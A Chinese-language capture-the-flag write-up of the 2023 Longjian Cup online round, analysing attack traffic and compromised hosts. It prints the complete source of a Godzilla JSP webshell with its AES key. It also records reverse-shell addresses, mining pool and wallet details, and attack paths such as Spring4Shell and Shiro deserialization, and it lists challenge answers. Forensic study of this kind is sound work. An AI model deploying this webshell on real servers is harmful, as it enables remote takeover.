【流量分析】2023陇剑杯线上初赛

简单复现学习一下陇剑杯的流量分析题

陇剑杯

HW

hard_web_1

80,888,8888

服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
过滤tcp包,发现一个ip一直对服务器发送syn包,应该是在进行端口扫描

image

过滤syn+ack的包:tcp.flags.syn1 and tcp.flags.ack1

这些就是开放的端口

image

hard_web_2

flag{9236b29d-5488-41e6-a04b-53b0d8276542}

服务器中根目录下的flag值是多少?

使用http contains "flag" 无果

简单翻阅数据包,发现shell.jsp,请求包含大量乱码,并且响应是200和乱码数据,很明显的webshell特征

image

发现shell.jsp内容,很明显哥斯拉的webshell

% !String xc = "748007e861908c03";
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    } %> <%
    try {
        byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
        java.io.InputStream inputStream = request.getInputStream();
        int _num = 0;
        while ((_num += inputStream.read(data, _num, data.length)) < data.length);
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            f.equals(arrOut);
            f.equals(pageContext);
            f.toString();
            response.getOutputStream().write(x(arrOut.toByteArray(), true));
        }
    } catch (Exception e) {} %>

image

得到了密钥,可以对所有流量进行解密

image

解密流量,在最后一个流量包攻击者读取了/flag

image

hard_web_3

该webshelle的连接密码是多少?

14mk3y

image

SS

sevrer save_1

黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

CVE-2022-22965

前面都是爆破的干扰数据包,直接翻到最后,发现通过一个接口写入了webshell

image

定位到exp流量,搜索引擎搜一下发现是spring4shell漏洞

image

sevrer save_2

黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

192.168.43.128:2333

image

sevrer save_3

黑客的病毒名称是什么? 格式为:filename

main

home目录发现可疑的文件,上传后发现是挖矿木马

image

image

sevrer save_4

黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

ll:123456

看一下/etc/passwd,再看下/etc/shadow

image

sevrer save_5

服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

172.105.202.239

image

sevrer save_6

病毒运行后释放了什么文件?格式:文件1,文件2

lolMiner ,mine_doge.sh

image

sevrer save_7

矿池地址是什么? 格式:domain:1234

doge.millpools.cc:5567

image

sevrer save_8

黑客的钱包地址是多少?格式:xx:xxxxxxxx

DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

WS

Wireshark1_1

被入侵主机的IP是?

192.168.246.28

简单浏览下值得看的就是telnet数据

image

追踪一下tcp流,发现直接通过口令登录后执行了系统命令

image

Wireshark1_2

被入侵主机的口令是?

youcannevergetthis

Wireshark1_3

用户目录下第二个文件夹的名称是?

Downloads

image

Wireshark1_4

/etc/passwd中倒数第二个用户的用户名是?

mysq

IR

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)

IncidentResponse_1

挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

/etc/redis/redis-server

排查了计划任务,隐藏账户,历史命令,常见目录,开启自启动等都没发现可疑的地方

排查到.viminfo,发现配置了redis,查看redis配置文件,发现异常

image

导入沙箱分析一下,确认是挖矿程序,藏的还挺深

image

IncidentResponse_2

挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

donate.v2.xmrig.com:3333

IncidentResponse_3

攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

题目提示:答案md5值前两位为3e

shiro反序列化

看一下开放的服务,只有80端口对外

image

查看一下spring日志,发现存在shiro框架,大概率是反序列化漏洞

image

使用工具验证一下,确定了

image

IncidentResponse_4

攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

81.70.166.3

使用last查看root登录记录,发现外网ip:81.70.166.3

image

请求日志里过滤这个ip,发现其有大量的扫描攻击行为

image

IncidentResponse_5

攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

前面都是扫描,最后才是发起攻击,因此这里填最后的UA

image

IncidentResponse_6

攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

/root/.ssh/authorized_keys

一个是写了公钥

root@timecard:~# cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+pugu22rrUIBW5/w96AgoCEuadCvmqQJTdcvSnCChhFu2FiAaJxjA2gzUTiXzFjPn0TgCg5paCIKt1hYbeeWEe6R0YYOlcV5/WdnGvsAzXBXVDFjDPlo95Zym2Sd8PD1gOTy9wPChidCN9nb5rVvWs9LDqWhzzxsuyoAvdBWmZQHg9tYt/dDLdnMyC00GJJCbKO8vPwLIf10yxyP+Iu5cAxizTdGfE8jKtkyOxOWril/p4CXRUMTDxhzMbOfGMsa6uaS/xphKs2xb3OF0Nk/GYK76nTqJutt4T1IU4Sp5Vm/M3PFPyYbQbp1ePfqRqgt6WsJkyxXGYBI3Hz+lL41ASwArXipz4+PENqPgaL9CohvySGKMT/vksXgvqU0dpWz5SSRb+yQM0nXfJU+q7UMxNnNkss7cJ5DAa0kgaomC+XS2BNb7/LcAIrprUpuecjNvl8eQCrI4+6o3iIdkmNFhNMMnIDiUNjPqLuQU2JWAJmypB2XQuf0umbyEZ7SkyVU= root@kali

IncidentResponse_7

攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

/lib/systemd/system/redis.service

第二个就是前面分析的,redis是恶意程序,并且创建了一个redis服务使得可以一直运行

image

SSW

SmallSword_1

连接蚁剑的正确密码是 ____ __?(答案示例:123asd)

6ea280898e404bfabd0ebb702327b18f

sql注入写入的webshell

image

SmallSword_2

攻击者留存的值是 ____ __?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

ad6269b7-3ce2-4ae8-b97f-f259515e7a91

这个主要考察蚁剑流量解密,url解码密码参数值即可知道要执行的操作,比如下面这个请求,就是要执行写入文件的操作

image

image

再把要写入的文件名,文件内容base64解出来即可

image

image

SmallSword_3

攻击者下载到的flag是 ____ __?(答案示例:flag3{uuid})

继续分析流量,发现攻击者下载了一个huorong.exe,并且该文件是个pe文件也就是windows下的可执行文件

image

转为原始数据后导出,保存为exe,一直运行失败,删除前缀到MZ头也不行,先搁置

EW

ez_web_1

服务器自带的后门文件名是什么?(含文件后缀)

ViewMore.php

前面都是404不用看,直接翻到最后面,发现后门

image

但是答案不是这个,于是全局搜一下d00r.php,发现是通过ViewMore.php这个接口写进去的

image

image

image

ez_web_2

服务器内网IP是多少?

192.168.101.132

攻击者执行过ifconfig,有两个内网ip,挨个试一下

image

ez_web_3

攻击者往服务器中写入的key是什么?

7d9ddff2-2d67-4eba-9e48-b91c26c42337

发现攻击者写入的命令,写入了一个压缩包文件

image

压缩包导入到本地,打开后发现需要密码

image

再翻一下流量,发现一个密码,尝试解密,成功

image

image

BF

baby_forensics_1

磁盘中的key是多少?

2e80307085fd2b5c49c968c323ee25d5

baby_forensics_2

电脑中正在运行的计算器的运行结果是多少?

7598632541

baby_forensics_3

该内存文件中存在的flag值是多少?

flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

TP

tcpdump_1

攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

TMjpxFGQwD:123457

有很多访问login的流量,过滤出登录成功的:json contains "200}" and http.response_for.uri contains "login"

image

tcpdump_2

攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)

userid=1

从数据包可以看到,有个cookie值userid=2

image

继续看数据包,找找哪个数据包改了这个值,就是在尝试越权

image

tcpdump_3

攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

zyplayer:1234567

先过滤jdbc,查看到有个接口应该是可以尝试jdbc连接,应该是jdbc的url可控造成的漏洞

image

于是在tcp数据里过滤jdbc:tcp contains "jdbc" and tcp contains "username" and tcp contains "password"

image

tcpdump_4

攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

CVE-2022-21724:custom.dtd.xml

继续往后看流量,发现以下漏洞的exp:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)

image

看一下执行的命令,在尝试反弹shell

image

tcpdump_5

给出攻击者获取系统权限后,下载的工具的名称,比如nmap

fscan

过滤上面反弹shell的ip的流量,追踪到相关命令

image

HD

hacked_1

admIn用户的密码是什么?

flag{WelC0m5_TO_H3re}

登录接口存在AES加密

image

有了密钥、iv这些直接解密即可

image

hacked_2

app.config['SECRET_KEY']值为多少?

ssti_flask_hsfvaldb

tcp contains "SECRET_KEY"

image

hacked_3

flask网站由哪个用户启动?

red

解一下这两个session就可以了,攻击者尝试执行whoami并把命令结果更新到session里

image

hacked_4

攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

Index

继续解后面的请求,发现打入了一个简单的内存马,不过这里只是添加了访问该路由则返回“Hello! 123”,没有写入命令执行的规则

image